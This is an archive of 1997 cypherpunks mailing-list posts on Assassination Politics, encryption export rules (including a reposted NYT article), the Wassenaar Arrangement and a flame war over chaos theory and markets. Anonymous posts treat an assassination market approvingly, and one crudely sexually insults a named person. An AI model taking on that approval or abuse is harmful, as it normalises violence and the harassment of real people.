Subject: Re: $20,000 the going rate?
In-Reply-To: <199704080223.CAA28480@mailhub.amaranth.com>
Message-ID: <3349B4D0.7977@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:
> 
> I am forwarding a message from another list as I felt it may be of intrest
> to some here.
> 
> Subject: SCANNER LISTENER FOILS MURDER PLOT
> Following from the
> Seattle Post-Intelligencer, Friday, April 4, 1997
>  ===========================================
> "TWO ACCUSED OF MURDER-FOR-HIRE PLOT"
> 
> Overheard phone call leads to arrests

  And the way this relates to Jim Bell is...
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 7 Apr 1997 18:00:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Adam Back speaks out on AP / was: Jim Bell? Never heard of him.
Message-ID: <199704080100.VAA21197@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> I see lots of discussion of AP.  However I see lots of people
> discussing cautiously, couching it in terms of:
> game theory, or intellectual possibility
> or dismissing it as impractical.
> 
> Perhaps I'm just imagining things, but it would seem to me that if one
> had in the past made comments on the list suggesting that AP might
> even be a _good thing_, Jim Bell's experience might make one think now
> was be a good time to disclaim that one was talking theoretically.

  Jim *who*???
 
> I've viewed several posters comments on AP ever since Jim Bell got
> involved in discussing anonymous markets in illegal services as being
> careful to stay on the side of speech.
 
> It is almost as if they are afraid to discuss openly their views on
> the subject.

  This doesn't stop them from castigating those who post 
anonymously in regard to this subject.
  (As if not wanting to face 20 armed government agents who
consider you "armed and dangerous" {i.e. shoot first and ask
questions later} somehow negates their facts and logic.)

> Democracy is one person one vote, however this is skewed in most
> democracies by numerous factors: corporate lobbying, media influence,
> and people who are easily influenced by media.
> 
> AP is one $ one vote.  Theoretically rich people could out-vote their
> rivals. 

  So the end result might well be, not the assassination of those
involved, but the lessening of their power by virtue of depleting
their funds, which leads to a more equal playing field.

> Game theoretically: AP may be a good thing for you personally if the
> reduction in power of groups targetted by AP bets was beneficial
> enough to you to cancel out the negative aspects of you yourself being
> targetted, and the negative aspects of living in the resulting
> society.

  Green Peace might serve as a good example of this.
  A sufficient number of individuals contributing small amounts
to the pool might not be able to negate the total funds available
to whaling companies, but they might be able to impact the profit
margin sufficiently that they would not be able to extinct the
species.
 
> I'm not too sure what the outcome would be.  All sorts of people might get
> targetted by all kinds of unanticipated groups of the populace.  Will the
> mafia join the fray, and offer insurance against having a contract taken out
> on yourself?  Will the government join in and take out hits on GAK
> dissenters and free speech activists?  Will corporations get rid of
> embarassing whistleblowers?  Will irritating media starlets get offed?
> 
> We have no way of knowing whether the outcome would be "a good thing" by any
> chosen metric.

  But the results would be a far cry more interesting than
reruns of Gilligan's Island.

TruthMonger (#7 - the 'sane' one)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 7 Apr 1997 18:09:43 -0700 (PDT)
To: cypherpunks@toad.com
Subject: ElGamal
Message-ID: <199704080109.VAA22604@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[ocksucker] Mayhem is widely recognized on 
the net, because of his frequent vitriolic 
postings, as someone/thing ready to cut off his 
own penis to spite the testicles, although his 
friends recognize him better from the rear.

    /\
   /..\  Tim C[ocksucker] Mayhem
  /_\/_\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 7 Apr 1997 19:00:45 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: New Paper by Ron Rivest
Message-ID: <199704080200.WAA29368@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:
> 
> From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
> To: "Micropay (E-mail)" <micropay@ai.mit.edu>
> Subject: New Paper by Ron Rivest

  This interplay between C2Net schills and MIT schills is getting more
than a little boring.
  We always seem to have the same actors involved in the attacks on the
cypherpunks. First, lightweights like Kent Crispin post some dribble
before the 'event' takes place. After the 'event', the heavyweight
disinfo artists like Hallam-Baker step forward with their bullshit.
  Then their bum-buddy "cheers" Bob Hettinga forwards their posts from
other lists to try to give them the appearance of respectability.

  Bullshit is bullshit, no matter how much these characters stroke
each other's cocks.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 7 Apr 1997 21:23:16 -0700 (PDT)
To: Blanc Weber <blancw@MICROSOFT.com>
Subject: Blanc Weber / Positivist Schill
In-Reply-To: <88CE23A0B727D0118BB000805FD47524014383C2@RED-81-MSG.dns.microsoft.com>
Message-ID: <3349C881.2F87@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Blanc Weber wrote:
> ---------------------------------------------------
> In "Human Action", by Ludwig von Mises, he explains very well how
> nations which restrict their market options create the tensions and
> circumstances which lead to wars between them. 

  All of the good computer gurus I know have degrees in Political
Philosophy, and the like. You must be one of them.

> I was considering, likewise, that the current developing technologies
> might open up people's imagination to so many interesting things to do
> and new ways to get what they are after, creating a sense of
> "possibility", rather than "impossibility", that this would affect their
> outlook on life and their attitude and turn their attention to more
> positive things beyond killing - that is, beyond the idea of achieving
> freedom from certain influences by killing the source of those
> influences.

  Are you part of a cypherpunks list conspiracy to balance my 
cynicism? Are you actually suggesting that there may be a spark
of hope for mankind to prevail in the battle with the forces of
mindless robotic sheepnocity? 

> In the "new world order", those influences would not be so threatening,
> as there would exist ways to route around them.  This could reduce the
> tensions which would otherwise arise, leaving the mind open to more
> productive considerations, freed to think less in terms of destructive
> methodologies.

  You seem to be one of the eternal optimists who can even see
the possible good in AP.
  I suggested in a recent post that perhaps Green Peace could use
the AP system to drain the profit margins of whalers without 
actually causing their death. Of course, I was low on Scotch at
the time, so my idea cannot be taken seriously.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 7 Apr 1997 20:46:02 -0700 (PDT)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: $20,000 the going rate?
In-Reply-To: <3349B4D0.7977@sk.sympatico.ca>
Message-ID: <199704080335.DAA29678@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <3349B4D0.7977@sk.sympatico.ca>, on 04/07/97 at 09:00 PM,
   Toto <toto@sk.sympatico.ca> said:


>William H. Geiger III wrote:
>> 
>> I am forwarding a message from another list as I felt it may be of intrest
>> to some here.
>> 
>> Subject: SCANNER LISTENER FOILS MURDER PLOT
>> Following from the
>> Seattle Post-Intelligencer, Friday, April 4, 1997
>>  ===========================================
>> "TWO ACCUSED OF MURDER-FOR-HIRE PLOT"
>> 
>> Overheard phone call leads to arrests

>  And the way this relates to Jim Bell is...

No direct relation. :)

I just thought it touched on some current topics:

- - Murder for hire (Yes it happens even without AP) <G>
- - Cell Phone Security (Big Brother is listening along with everyone else) -
LEA's can catch criminals without revoking the Bill of Rights (imagine
that)

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Taking the wind out of Windows.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM0nMoo9Co1n+aLhhAQFPBQP/WWaCTD/61dfZJF0t81OSuCDWBplTtPUb
qKr1UI9TXWAX5z+ftmWWcCxDXpV3ZYZOQgvrCcKLfBpLkdOoMu0B7XLQUIWtVu8T
syr9Pj92KKnFfi3IMYqBdbk6MORBcz8jwx8uEU81NncHbbOoLdeRoEBEXkqDfD6m
bKm1Lqu039I=
=lPXe
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 7 Apr 1997 19:51:03 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Wassenaar Arrangement now available
Message-ID: <1.5.4.32.19970408025029.006d22dc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We've converted the AU version of Wassenaar "Part 3 Category 5 - 
Telecommunications and Information Security" DOC to HTML:

   http://jya.com/aucat_5.htm

"Part 2 - Information Security" fits the notes on cryptography posted 
here by Hayashi Tsuyoshi and fills in the missing pieces.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Mon, 7 Apr 1997 21:48:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: ZDNet Announces HealthyPC.com!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.8346.04071997200004.117358@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain


----------------------------------------------------------------
   ZDNET ANNOUNCEMENT          4/8/97
----------------------------------------------------------------

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maintenance and troubleshooting from people 
you trust!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 7 Apr 1997 20:30:59 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Fan mail from Hallam-Baker...
In-Reply-To: <3349A104.25D4@sk.sympatico.ca>
Message-ID: <7gNT5D79w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Dr.Dimitri Vulis KOTM wrote:
> >
> > >Sender: hallam@etna.ai.mit.edu
> > >From: Hallam-Baker <hallam@ai.mit.edu>
> > >Subject: Re: I hope thr IRA nails Hallam-Baker...
> > >
> > >You are now in very serious trouble.
> > >
> > >I have contacted the FBI and other agencies. You will encounter
> > >difficulty in travelling to certain foreign countries.
> > >
> > >You may have put your own life at risk. The IRA is not the only
> > >terrorist group in Ireland, its opponents make a point of assasinating
> > >anyone who openly supports IRA activities.
>
>   The terrorist group Hallam-Baker is referring to is the
> UK government.
>   They refer to QEII as 'Ms. Big'.

Do you mean the drug dealer queen?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 7 Apr 1997 23:18:50 -0700 (PDT)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199704072109.OAA13107@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970408001614.117008B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 7 Apr 1997, Mix wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Embedded in Tim C[rook] May's babblings are preposterous lies, wild 
> distortions, child pornography (both as graphic descriptions and in JPEG 
> format), ethnic slurs, and racial epithets.
> 
>   \\\\\|/////
>    \\\\|////
>    < * | * >
>    |   *   |
>     \( . )/
>      \___/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 7 Apr 1997 21:33:53 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Fucking Idiots
Message-ID: <199704080433.AAA17606@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



XX
Xnon-to: PRESIDENT@WHITEHOUSE.gov

              The New York Times, April 7, 1997, pp. D1, D7.

---------------------------------------------------------------------------

U.S. Restrictions on Exports Aid German Software Maker

By EDMUND L. ANDREWS

BOBLINGEN, Germany, April 3--Boris Anderer and his four partners have a
message for the spy masters in America's national security
establishment:
thank you very, very much.

Mr. Anderer is the managing director for marketing at Brokat
Informationssysteme G.m.b.H., a three-year-old software company here
that
is growing about as fast as it can hire computer programmers.

When America Online wanted to offer online banking and shopping services
in
Europe, it turned to Brokat for the software that encodes transactions
and
protects them from hackers and on-line bandits. When Netscape
Communications and Microsoft wanted to sell Internet software to
Germany's
biggest banks, they had to team up with Brokat to deliver the security
guarantees that the banks demanded.

But what is most remarkable is that Brokat's rapid growth stems in large
part from the Alice in Wonderland working of American computer policy.
Over
the last two years, Brokat and a handful of other European companies
have
carved out a booming business, selling powerful encryption technology
around the world that the United States Government prohibits American
companies from exporting.

Mr. Anderer could not be happier. "The biggest limitation on our growth
is
finding enough qualified people," he said, as he strode past rooms
filled
with programmers dressed in T-shirts and blue jeans.

The company's work force has climbed to 110 from 30 in the last year,
and
the company wants to add another 40 by the end of the year.

"This company has grown so fast that I often don't know whether the
people
I see here have just started working or are just visitors," he said.

Encryption technology has become a big battleground in the evolution of
electronic commerce and the Internet. As in the United States, European
banks and corporations are racing to offer on-line financial services,
and
many of these services are built around Internet programs sold by
American
companies like Netscape and Microsoft.

Cryptography is crucial because it provides the only means for
protecting
customers and companies from electronic eavesdroppers.

Though the market for encryption software is in itself tiny, it is a key
to
selling technology in the broader market of electronic commerce.
Encryption
is the first line of defense against hackers eager to pry loose credit
card
information and raid bank accounts, so it plays a critical role in the
sale
of Internet servers and transaction-processing systems.

Brokat, which has revenues of about 10 million marks ($6 million), uses
its
cryptography as a door-opener to sell much more complicated software
that
securely links conventional bank computer systems to a bank's Internet
gateways and on-line services. Netscape, Microsoft and computer
equipment
manufacturers all include encryption in the networking systems they sell
to
corporations.

But the United States Government blocks American companies from
exporting
advanced encryption programs, because agencies like the Federal Bureau
of
Investigation and the National Security Agency fear that they will lose
their ability to monitor the communications of suspected terrorists and
criminals.

Far from hindering the spread of powerful encryption programs, however,
American policy has created a bonanza for alert entrepreneurs outside
the
United States. Brokat's hottest product is the Xpresso Security Package,
a
set of computer programs that bump up the relatively weak encryption
capability of Internet browsers from Netscape and Microsoft.

Besides America Online, Brokat's customers include more than 30 big
banking
and financial institutions around Europe. Deutsche Bank A.G., Germany's
biggest bank, uses Brokat's software at its on-line subsidiary, Bank 24.
Hypo Bank of Munich uses Brokat in its on-line discount stock brokerage
operation. The Swiss national telephone company and the Zurcher
Kantonalbank are also customers.

Among Brokat's competitors, UK Web Ltd., based in London, is marketing
an
equally powerful encryption program in conjunction with a Silicon Valley
company C2Net Software. Recently, UK Web and C2Net boasted of selling
"full-strength" cryptography developed entirely outside the United
States.

"We don't believe in using codes so weak that foreign governments,
criminals or bored college students can break them," the two companies
said
in a statement, in a stinging swipe at the American export restrictions.

Bigger companies are starting to jump into the fray as well.
Siemens-Nixdorf, the computer arm of Siemens A.G., recently began
marketing
a high-security Internet server program that competes with products from
Netscape. Companies can download the software from Siemens computers in
Ireland.

There is nothing illegal or even surprising about this. The basic
building
blocks for advanced encryption technology, a series of mathematical
algorithms or formulas, are all publicly available over the Internet.
American companies like Netscape sell strong encryption programs within
the
United States, and companies like Brokat are even allowed to export
their
product to customers in the United States.

For many computer executives, the real mystery is why the United States
Government continues to restrict the export of encryption technology.
"The
genie is out of the bottle," said Peter Harter, global public policy
counsel at Netscape, who complained that American policy thwarts his
company's ability to compete.

"I have a good product, and I can sell it to Citibank, but l can't sell
it
to Deutsche Bank," Mr. Harter said. "It doesn't make any sense. Why
shouldn't they be able to buy the same product as Citibank? It makes
them
mad, and it makes us mad."

In response to industry complaints, American officials have repeatedly
relaxed the restrictions on encryption over the last several years, and
they did so again last November. But because the speed of computers has
increased so rapidly codes that seemed impenetrable just a few years ago
can be cracked within a few hours.

In a policy announced last fall, the Clinton Administration announced
that
it would allow American companies to freely export cryptography that
used
"keys" up to 40 bits in length. The longer the key, the more difficult a
code is to crack. But banking and computer executives say that 40-bit
codes
are no longer safe and can be cracked in as little as a few hours by
skilled computer hackers. The minimum acceptable code, according to many
bank executives, must have keys that are 128 bits long.

"From our point of view, there is at least the possibility that a 40-bit
encryption program can be broken, and that means there is a danger that
our
transaction processing could be compromised," said Bernd Erlingheuser, a
managing director at the Bank 24 unit of Deutsche Bank. Bank 24 has
about
110,000 customers in Germany who gain access to banking services over
the
Internet using either the Netscape Navigator or Microsoft's Internet
Explorer.

Anette Zinsser, a spokeswoman for Hypo Bank, concurred. "Forty bits is
just
too low," she said. Hypo Bank offers Internet-based banking and discount
brokerage services to about 28,000 customers.

In a country not known for high-technology start-ups, Brokat jumped at
the
opportunity. Mr. Anderer, a former consultant at McKinsey & Company in
Germany, teamed up three years ago with two fraternity friends, Michael
Janssen and Stefan Roever, and two seasoned computer experts, Achim
Schlumpberger and Michael Schumacher.

The group originally conceived of building a company around modular
software components that were designed for the banking industry, and
they
financed the company for nearly two years through the money they earned
from consulting projects. But they were quickly drawn to the area of
encryption, and developed a series of programs around the Java
technology
of Sun Microsystems.

The Xpresso encryption package is installed primarily on the central
"server" computers that on-line services use to send material to
individual
personal computers. Customers who want to connect to a bank's server
download a miniature program, or applet, that meshes with their Internet
browser program and allows the customer's computer to set up an
encrypted
link with the server. The effect is to upgrade the 40-bit encryption
program to a 128-bit program, which is extremely difficult for outsiders
to
crack.

Now, in another step through the looking glass of encryption policy,
Brokat
is trying to export to the United States. There is no law against that,
but
American laws would theoretically prohibit a company that used Brokat's
technology from sending the applets to their online customers overseas.
So
the company is now negotiating with the National Security Agency for
permission to let American companies send their software overseas, which
is
where it started from in the first place.

If Brokat convinces the spy masters, the precedent could help American
software rivals. "This could open a new opportunity that would benefit
American companies if they understand the implications," Mr. Anderer
said.

                               [Photo (14K)]

          The five managing partners and founders of fast-growing
       Brokat Informationssysteme are (left to right) Boris Anderer,
                   Michael Janssen, Achim Schlumpberger,
                   Michael Schumacher and Stefan Roever.

---------------------------------------------------------------------------

  Why don't you fucking losers at the whitehouse just line 
American businessmen up against the wall and blow their brains
out?
  Go to Germany and buy a fucking clue (if American $ are still
worth anything by the time you're done fucking American business.)

TruthMonger (#2)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 7 Apr 1997 23:35:48 -0700 (PDT)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: ElGamal
In-Reply-To: <199704080109.VAA22604@dhp.com>
Message-ID: <Pine.A41.3.95.970408003253.117008Q-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Mon, 7 Apr 1997, lucifer Anonymous Remailer wrote:

> Tim C[ocksucker] Mayhem is widely recognized on 
> the net, because of his frequent vitriolic 
> postings, as someone/thing ready to cut off his 
> own penis to spite the testicles, although his 
> friends recognize him better from the rear.
> 
>     /\
>    /..\  Tim C[ocksucker] Mayhem
>   /_\/_\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 7 Apr 1997 22:53:42 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: "...markets are fundamentally chaotic, not efficient"? Really?
In-Reply-To: <v0302092eaf6ea75718f6@[139.167.130.246]>
Message-ID: <v03020981af6f7e81385e@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:36 pm -0400 on 4/7/97, Kent Crispin wrote:

> Nope.  Not any of those things (Gee, there's that "statist" word
> again.  There must be a playbook somewhere).

Yes. It's from the same playbook which says I now get to call you a "twit".

> More a "security
> analyst" notion.  See the cute little book "Chaos and the Capital
> Markets" (I don't have it handy so I can't give you the author.)
> Anyway, he makes an empirical of security prices, and demonstrates
> that they are chaotic.  It was more oriented to practitioners, not
> theorists...

Bark. Chaos theory has nothing to say about the capital markets practically
by definition, but that's a "security analyst" notion, so you probably
wouldn't understand it.

> Chaotic is not the same as stochastic.

Actually, chaotic behavior is a subset of stochastic behavior. I stand by
what I said. Just because a random variable is predictable within certain
parameters doesn't mean that you can call say, every flip of a coin 100
times. When you get to the limit of predictability, you are as "efficient"
as you can get.

> There are obviously stochastic
> factors in markets.  Equally obviously, they are not the only factors.

Sure. What? The devine right of kings? The inherent good of the
surveillance state? I say that stochasticity, including chaos, is the only
factor that matters.

> The fact that markets demonstrate a chaotic element is potentially
> exploitable as a trading strategy.

That statement, is, of course, an another oxymoron, just like "market control".

> I heard that's why trading houses
> were hiring physicists, incidentally -- most of the expertise in
> Chaos Theory was developed in the context of physics.

Rediculous. Most of the "expertise" in chaos "theory" is in the hands of
dillitantes who like to draw pretty pictures. Most of the physicists hired
by Wall Street were people who discovered market analogs to physical
processes. A friend of mine, for example, who used Monte Carlo simulations
to analyze sonar returns, and now uses Green's functions to get faster
results on interest rates and total return scenarios on bonds. Or another,
who did 2D magnetohydrodynamic code once, and now does fun stuff in the
currency markets.

The problem with simulating a market with emergent systems is that you
can't say anything about a given market when the simulation is over. Just
about the simulation. Otherwise (duh?) it's not chaotic enough. Which, by
the way, was my point. When you get to "chaos", you're as "efficient" as
you can go.

That's not to say that using emergent systems technology to create markets
*themselves* isn't useful. Far from it. That's the kind of stuff several
people around here hope to see arise from autonomous entities operating in
cash-settled internet markets, for example. Cash settlement technologies,
by the way, which need strong unescrowed cryptography even to function.

> That's "Crispin", Mr. Applethwaite.  I hate being mislabeled.

Ah. Another ad hominem. See "twit", above. You're ugly, and your mother
dresses *you* funny, too. By the way, I'm sorry I misspelled your name. For
some reason, it seems I didn't respect you enough to get it right...

> I never said anything about planned economies being efficient.  In
> fact, I never mentioned planned economies at all.

You said that "chaotic" markets aren't efficient. I said exactly the
opposite. That they are the ultimate in efficiency, and that if you believe
that chaotic markets are not efficient, you must favor planned economies,
because they're the only alternative. I figure this tendency towards
stringent control must be from where you work or something. Oops. Another
ad hominem. So sorry. They must be in the air this evening.

> Obviously I can't "prove" markets are not efficient -- that's an
> empirical matter, not a mathematical matter.  However, no one can
> prove they are efficient, either (that's why it's the "Efficient
> Market *Hypothesis*").  There are many other examples of persistent
> inefficiencies in markets,  the presidential election year cycle
> being the first to come to mind.

Right. And the increasing American importation of bananas throughout the
20th century caused an increase in suicide. Another informal fallacy.
You're nine for nine tonight, Mr. Ch^hispin. Of course there are actual
exceptions to the efficient market hypothesis, fools' markets being the
most famous example. However, the crash of any given fool's market is
completely unpredictable, and, as such, is as efficient a price as you're
going to get, paradoxically. Which was my point.

> [interesting but besides the point argument deleted]

Actually, it was the *whole* point, but you didn't get it. Another one of
those "security analyst" notions, which kind of blew by you, in what seems
to be a rather breezy evening in your neck of the woods...

> > This inability of a hierarchy to handle as much information or resources as
> > a geodesic is, of course, a major problem with key escrow,
>
> No, it's a theoretical problem that has no impact on practical key recovery
> systems.

Okay. I'll tell you this one, for fun, too, since you don't get *it*
either. In a geodesic network, a single node can not possibly process all
the information in the network. It chokes, and the network routes around
it. You can bet that any key escrow agent would be innundated with
surviellance requests and would eventually become either useless under the
load no matter how big a processor it had. (Hint: it's the same kind of
problem with certificate revocation.) Or, it will be forced to cache its
keys in other locations, making them more insecure. Soon, either everyone
can't get access to the keys because they can't handle the load, or
everyone can because the keys aren't secret anymore. An interesting
corrolary is that even if the keys were available, the surveilling entity
would choke on *its* information load. This is FinCEN's eventual problem.
Maybe we could call it the Freeh paradox, or something.

Anyway, the best you can hope for is some kind of distributed caching
model, based on the distributed trust models we talk about here. But, if
some kind of centralized entity tries to access *those* keys for
surviellance, it chokes even worse than if it had all the keys in the same
place.

> "Whip me! Beat me! Savage me in Cypherpunks!"

Just lay there and take it, slave. You know you love it, or you wouldn't be
here.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 8 Apr 1997 02:10:47 -0700 (PDT)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: "...markets are fundamentally chaotic, not efficient"? Really?
In-Reply-To: <v0302092eaf6ea75718f6@[139.167.130.246]>
Message-ID: <19970408020746.46726@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, Apr 08, 1997 at 01:51:45AM -0400, Robert Hettinga wrote:
> At 12:36 pm -0400 on 4/7/97, Kent Crispin wrote:
> 
> > Nope.  Not any of those things (Gee, there's that "statist" word
> > again.  There must be a playbook somewhere).
> 
> Yes. It's from the same playbook which says I now get to call you a "twit".

Uh oh.  Must of touched a nerve...

> > More a "security
> > analyst" notion.  See the cute little book "Chaos and the Capital
> > Markets" (I don't have it handy so I can't give you the author.)
> > Anyway, he makes an empirical of security prices, and demonstrates
> > that they are chaotic.  It was more oriented to practitioners, not
> > theorists...
> 
> Bark. Chaos theory has nothing to say about the capital markets practically
> by definition, but that's a "security analyst" notion, so you probably
> wouldn't understand it.

Sorry.  It's Edgar Peters, "Chaos and Order in the Capital Markets", 
John Wiley, 1991.  I'm sure you will rush out and buy a copy :-)

> > Chaotic is not the same as stochastic.
> 
> Actually, chaotic behavior is a subset of stochastic behavior. I stand by
> what I said. 

Clearly, you don't know what you are talking about.  Strictly 
speaking, chaotic behavior (as mathematically defined in chaos theory) is 
completely *deterministic*, not random.  The conundrum is that 
chaotic behavior *looks* random, and indeed, it can be very hard to tell 
if a set of data is generated by a determinstic chaotic procedure or a 
stochastic procedure.

Pretty pictures of Mandelbrot and Julia sets are generated by selecting 
points *determinstically*, iterating through a *determinsitic* algorithm, 
and looking at the result.  It's the mathematics that creates the 
complexity, not randomness.

(To be fair, of course, I must also state that some fractals are 
generated by starting with random numbers and running them through 
some algorithm.)

> Just because a random variable is predictable within certain
> parameters doesn't mean that you can call say, every flip of a coin 100
> times. When you get to the limit of predictability, you are as "efficient"
> as you can get.
>
> > There are obviously stochastic
> > factors in markets.  Equally obviously, they are not the only factors.
> 
> Sure. What? The devine right of kings? The inherent good of the
> surveillance state? I say that stochasticity, including chaos, is the only
> factor that matters.

No, you described it just above when you said "just because a random 
variable is predictable within certain parameters".  So, for example, 
I know that if a head is worth $1 and a tail is worth -$1, my net 
worth won't jump by $100 on a single toss.

> > The fact that markets demonstrate a chaotic element is potentially
> > exploitable as a trading strategy.
> 
> That statement, is, of course, an another oxymoron, just like "market 
> control".

I don't know whether you are expressing your flatulent ignorance of
chaos theory, or whether you are referring to the term "trading
strategy".  I will give you the benefit of the doubt and assume the
latter, and agree that the term "trading strategy" is at least 
suspicious. 

> > I heard that's why trading houses
> > were hiring physicists, incidentally -- most of the expertise in
> > Chaos Theory was developed in the context of physics.
> 
> Rediculous. Most of the "expertise" in chaos "theory" is in the hands of
> dillitantes who like to draw pretty pictures. 

A lot of those, for sure.  But Mandelbrot did some of his first work
on chaos studying cotton prices with Hendrik Houthakker, a Harvard
economist.  But how about Edward Lorenz (of the "Lorenz attractor")
studying weather, studies of turbulence, Feigenbaum & Co at Los
Alamos, the Dynamical Systems Group at Santa Cruz, etc etc.  The 
pretty pictures are pretty, but even I can do those.

> Most of the physicists hired
> by Wall Street were people who discovered market analogs to physical
> processes. A friend of mine, for example, who used Monte Carlo simulations
> to analyze sonar returns, and now uses Green's functions to get faster
> results on interest rates and total return scenarios on bonds. Or another,
> who did 2D magnetohydrodynamic code once, and now does fun stuff in the
> currency markets.

Sure, that too.

> The problem with simulating a market with emergent systems is that you
> can't say anything about a given market when the simulation is over. Just
> about the simulation. Otherwise (duh?) it's not chaotic enough. Which, by
> the way, was my point. When you get to "chaos", you're as "efficient" as
> you can go.

I wasn't referring to simulating markets; I was referring to studying 
real markets.

[...]

> > That's "Crispin", Mr. Applethwaite.  I hate being mislabeled.
> 
> Ah. Another ad hominem. 

No, just a joke.  Boy, I must really have hit a nerve.  Sensitive big 
ego, perhaps?

> See "twit", above. You're ugly, and your mother
